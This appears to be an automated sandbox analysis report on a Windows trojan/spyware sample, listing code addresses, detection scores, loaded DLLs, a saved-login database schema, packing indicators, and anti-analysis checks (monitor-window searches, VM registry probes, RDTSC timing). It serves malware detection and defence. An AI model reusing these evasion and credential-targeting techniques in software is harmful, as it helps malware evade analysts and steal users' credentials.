Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0096ADC7	0_2_0096ADC7
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009AADCF	0_2_009AADCF
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00972DF3	0_2_00972DF3
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00994DE4	0_2_00994DE4
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0098AD38	0_2_0098AD38
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009B0D39	0_2_009B0D39
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00978D3E	0_2_00978D3E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009CED25	0_2_009CED25
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A18D6B	0_2_00A18D6B
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008ECD45	0_2_008ECD45
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00946D41	0_2_00946D41
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00956D75	0_2_00956D75
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00944E9C	0_2_00944E9C
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00976E8C	0_2_00976E8C
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0099AE87	0_2_0099AE87
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009A0EB3	0_2_009A0EB3
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0094EEA4	0_2_0094EEA4
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009C8ED9	0_2_009C8ED9
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009E6ED8	0_2_009E6ED8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00964ED9	0_2_00964ED9
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009FEEC4	0_2_009FEEC4
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008EEEFE	0_2_008EEEFE
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00990EED	0_2_00990EED
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A0AE02	0_2_00A0AE02
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A38E0C	0_2_00A38E0C
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0099CE2F	0_2_0099CE2F
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009E8E22	0_2_009E8E22
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0093EE2E	0_2_0093EE2E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A2EE67	0_2_00A2EE67
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009CAE54	0_2_009CAE54
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A12E69	0_2_00A12E69
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009F0F98	0_2_009F0F98
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A38FA4	0_2_00A38FA4
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00988F8F	0_2_00988F8F
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009AEF82	0_2_009AEF82
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009EEF83	0_2_009EEF83
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008E6F90	0_2_008E6F90
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A2CFE1	0_2_00A2CFE1
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009B2FDC	0_2_009B2FDC
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00954FD8	0_2_00954FD8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009FCFC0	0_2_009FCFC0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00912FF0	0_2_00912FF0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009E2FFF	0_2_009E2FFF
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009F8FEF	0_2_009F8FEF
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A24FD5	0_2_00A24FD5
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009AAF1E	0_2_009AAF1E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009BEF10	0_2_009BEF10
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A34F3A	0_2_00A34F3A
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A22F39	0_2_00A22F39
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009ACF28	0_2_009ACF28
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009E4F28	0_2_009E4F28
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0096CF2C	0_2_0096CF2C
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0094CF56	0_2_0094CF56
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009D2F5F	0_2_009D2F5F
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009A8F5C	0_2_009A8F5C
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009C0F50	0_2_009C0F50
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A10F6E	0_2_00A10F6E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00AA2F7D	0_2_00AA2F7D
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A0CF4B	0_2_00A0CF4B
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A230A4	0_2_00A230A4
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0094D09E	0_2_0094D09E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00999093	0_2_00999093
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0097F086	0_2_0097F086
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009C3089	0_2_009C3089
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009DB085	0_2_009DB085
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0094B08F	0_2_0094B08F
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A410EC	0_2_00A410EC
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0095D0DA	0_2_0095D0DA
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009710C1	0_2_009710C1
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009690CF	0_2_009690CF
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009FB0E5	0_2_009FB0E5
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0095B0EE	0_2_0095B0EE
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009190EF	0_2_009190EF
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008D7006	0_2_008D7006
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009F7007	0_2_009F7007
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A21000	0_2_00A21000
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009E902A	0_2_009E902A
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00941022	0_2_00941022
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00985021	0_2_00985021
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009DF027	0_2_009DF027
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008D9030	0_2_008D9030
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009A5058	0_2_009A5058
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008D1040	0_2_008D1040
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A0F045	0_2_00A0F045
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009C9075	0_2_009C9075
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009D906F	0_2_009D906F
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00987061	0_2_00987061
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0095106A	0_2_0095106A
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00993066	0_2_00993066
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A151A5	0_2_00A151A5
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A211A4	0_2_00A211A4
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009F3197	0_2_009F3197
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0098D193	0_2_0098D193
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A2B1B3	0_2_00A2B1B3
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009DD18B	0_2_009DD18B
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009E1182	0_2_009E1182
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009471B5	0_2_009471B5
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009551AE	0_2_009551AE
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009011DA	0_2_009011DA
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009F71D1	0_2_009F71D1
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009B11D4	0_2_009B11D4
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00AAD1DA	0_2_00AAD1DA
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009611E6	0_2_009611E6
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009BF1E8	0_2_009BF1E8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A2F1D9	0_2_00A2F1D9
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009BB105	0_2_009BB105
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A29100	0_2_00A29100
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009B915B	0_2_009B915B
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00AB7162	0_2_00AB7162
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00915160	0_2_00915160
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009AB294	0_2_009AB294
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008F92A0	0_2_008F92A0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0096B2A3	0_2_0096B2A3
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009C52A2	0_2_009C52A2
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A1B29F	0_2_00A1B29F
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0098F2D8	0_2_0098F2D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0099B2D9	0_2_0099B2D9
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009912D4	0_2_009912D4
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009BD2D6	0_2_009BD2D6
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009D52C8	0_2_009D52C8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A112F6	0_2_00A112F6
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009492F3	0_2_009492F3
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009D72F7	0_2_009D72F7
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009CF2E8	0_2_009CF2E8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A192D5	0_2_00A192D5
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008DD2F0	0_2_008DD2F0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0093F203	0_2_0093F203
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0090B238	0_2_0090B238
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00A31218	0_2_00A31218

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: String function: 008DB380 appears 49 times
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: String function: 008EA420 appears 110 times

Source: BTn1AT2k3Y.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@2/3

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

Code function: 0_2_00908AC0 CoCreateInstance,

0_2_00908AC0

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BTn1AT2k3Y.exe, 00000000.00000003.957672204.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.920899234.0000000005AA4000.00000004.00000800.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.957446584.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.920446719.0000000005AC7000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: BTn1AT2k3Y.exe	Virustotal: Detection: 70%
Source: BTn1AT2k3Y.exe	ReversingLabs: Detection: 73%

Source: BTn1AT2k3Y.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

File read: C:\Users\user\Desktop\BTn1AT2k3Y.exe

Jump to behavior

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: BTn1AT2k3Y.exe

Static file information: File size 3190784 > 1048576

Source: BTn1AT2k3Y.exe

Static PE information: Raw size of bwmlijum is bigger than: 0x100000 < 0x2a8600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

Unpacked PE file: 0.2.BTn1AT2k3Y.exe.8d0000.0.unpack :EW;.rsrc:W;.idata :W;bwmlijum:EW;stipktic:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;bwmlijum:EW;stipktic:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: BTn1AT2k3Y.exe

Static PE information: real checksum: 0x31357d should be: 0x30cdb1

Source: BTn1AT2k3Y.exe	Static PE information: section name:
Source: BTn1AT2k3Y.exe	Static PE information: section name: .idata
Source: BTn1AT2k3Y.exe	Static PE information: section name: bwmlijum
Source: BTn1AT2k3Y.exe	Static PE information: section name: stipktic
Source: BTn1AT2k3Y.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009373C2 push 20C76EF1h; mov dword ptr [esp], eax	0_2_00937A36
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0094C0B5 push 569605DDh; mov dword ptr [esp], eax	0_2_0094C4DD
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0094C0B5 push edi; mov dword ptr [esp], ecx	0_2_0094C51B
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0094C0B5 push ecx; mov dword ptr [esp], 6B7BCF0Ch	0_2_0094C54E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0094C0B5 push ebp; mov dword ptr [esp], esi	0_2_0094C584
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0094C0B5 push ecx; mov dword ptr [esp], edi	0_2_0094C5A3
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0094C0B5 push ecx; mov dword ptr [esp], edx	0_2_0094C620
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0094C0B5 push 29C20BF1h; mov dword ptr [esp], edi	0_2_0094C68E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0094C0B5 push ebp; mov dword ptr [esp], 793ECB3Ch	0_2_0094C6ED
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00B5008C push edx; mov dword ptr [esp], 464EC401h	0_2_00B500A8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0097A0FD push edx; mov dword ptr [esp], 7F179DDDh	0_2_0097A50D
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0097A0FD push ebx; mov dword ptr [esp], 7AFB7682h	0_2_0097A519
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0097A0FD push 6A489789h; mov dword ptr [esp], edx	0_2_0097A539
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0097A0FD push eax; mov dword ptr [esp], esi	0_2_0097A53D
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0097A0FD push 67B789CAh; mov dword ptr [esp], ecx	0_2_0097A65F
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0097A0FD push ecx; mov dword ptr [esp], eax	0_2_0097A663
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0097A0FD push edi; mov dword ptr [esp], 2B4411DBh	0_2_0097A6DF
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0097A0FD push 0089FBF4h; mov dword ptr [esp], ecx	0_2_0097A72D
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00934035 push 51C30BCBh; mov dword ptr [esp], eax	0_2_009344B0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00934057 push edi; mov dword ptr [esp], ecx	0_2_0093406A
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_0093C041 push 03DB34ABh; mov dword ptr [esp], edx	0_2_0093C04F
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00934072 push eax; mov dword ptr [esp], edx	0_2_0093408D
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00934072 push ebp; mov dword ptr [esp], eax	0_2_009347C1
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009341C8 push ebp; mov dword ptr [esp], eax	0_2_009347C1
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009CE1C7 push 5B9BF942h; mov dword ptr [esp], ebp	0_2_009CE66E
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009CE1C7 push 087A0C9Dh; mov dword ptr [esp], ecx	0_2_009CE748
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009CE1C7 push 4A15BFB1h; mov dword ptr [esp], eax	0_2_009CE77F
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_009CE1C7 push edi; mov dword ptr [esp], 00000000h	0_2_009CE7D6
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00934109 push 51C30BCBh; mov dword ptr [esp], eax	0_2_009344B0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00ADE119 push 44CE8BF0h; mov dword ptr [esp], ebp	0_2_00ADE13A
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_00ADE119 push eax; mov dword ptr [esp], ebp	0_2_00ADE192

Source: BTn1AT2k3Y.exe

Static PE information: section name: entropy: 7.112064277715599

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABBCB8 second address: ABBCBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABBCBC second address: ABBCCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B277Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABBF73 second address: ABBF7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F33751C23D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABC37F second address: ABC385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: ABF4A2 second address: ABF4AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F33751C23D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
